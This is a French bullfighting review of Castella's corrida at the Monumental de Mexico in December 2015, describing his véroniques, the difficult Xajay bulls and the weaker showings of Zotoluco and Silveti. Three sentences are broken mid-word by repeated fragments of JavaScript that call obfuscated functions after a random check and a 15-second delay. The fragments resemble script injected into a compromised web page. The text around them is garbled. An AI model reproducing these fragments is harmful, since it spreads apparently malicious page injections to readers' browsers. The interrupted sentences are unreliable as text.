MEXICO 6 DEC 2015 : CASTELLA FIGURE DE LA TAUROMACHIE

Il y a de mauvais, de bons, de très bons toreros…et il y a les figuras de la tauromachie. Ces derniers se distinguent car ils imposent, comme norme, leur volonté au taureau ou aux circonstances les plus adverses. Il peut y avoir des toreros qui toréent mieux, de temps en temps, ou qui réalisent une faena plus belle, de temps en temps, mais uniquement celui a acquis la stature de figura triomphe avec régularité et quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il fait « sa » faena elle est débordante, toujours plus intense que ce dont le public attendait.

Dimanche dernier Castella est revenu dans les arènes de la Monumental de Mexico. Et il l’a fait devant une corrida plutôt mansa, âpre, très difficile à toréer, appartenant à l’élevage encasté de Xajay. Entre ses mains, le premier toro sembla même de qualité, et son avisé second finit par s’arrêter, acculé quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il lui imposa son pouvoir. C’était normal, ils étaient devant une figura del toreo.

Castella se présenta avec de lentes et caressantes véroniques, sans passes préalables pour s’ajuster au taureau. Ensuite il fit un quite par chicuelinas très serré et de beau trait. Avec la muleta il corrida les charges décousues avec de la détermination et du temple. Sa prestance et son courage mirent les arènes debout à plusieurs reprises. Il tua d’une estocade fulminante. On le récompensa d’une juste oreille, même si une partie du public demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda les deux. Au suivant, sorti en sixième, manso, qui se défendait au départ par à coups et qui par la suite s’arrêta comme réponse à la toute-puissance du torero, Castella confirma son statut de figura, rehaussé par la médiocrité des deux autres matadors à l’affiche, Zotoluco et Diego Silveti.

Zotoculo, possédant une dextérité maintes fois prouvée, l’a employée à son avantage et sans se livrer devant son premier adversaire et a écourté sa prestation au suivant. Silveti a eu face à lui le toro le plus franc de l’après-midi, mais le jeune matador, ayant lui peu de technique, a vu tout noir, et devant le dernier de la course, c’était encore plus sombre.

Le toreo à pied à été précédé par l’affrontement à cheval d’un toro de José Marrón, assez manso, qui chargeait de façon saccadée. Il fut bien toréé par Jorge López Gárate qui exhiba une splendide écurie de chevaux lusitaniens, mais il tua très mal.

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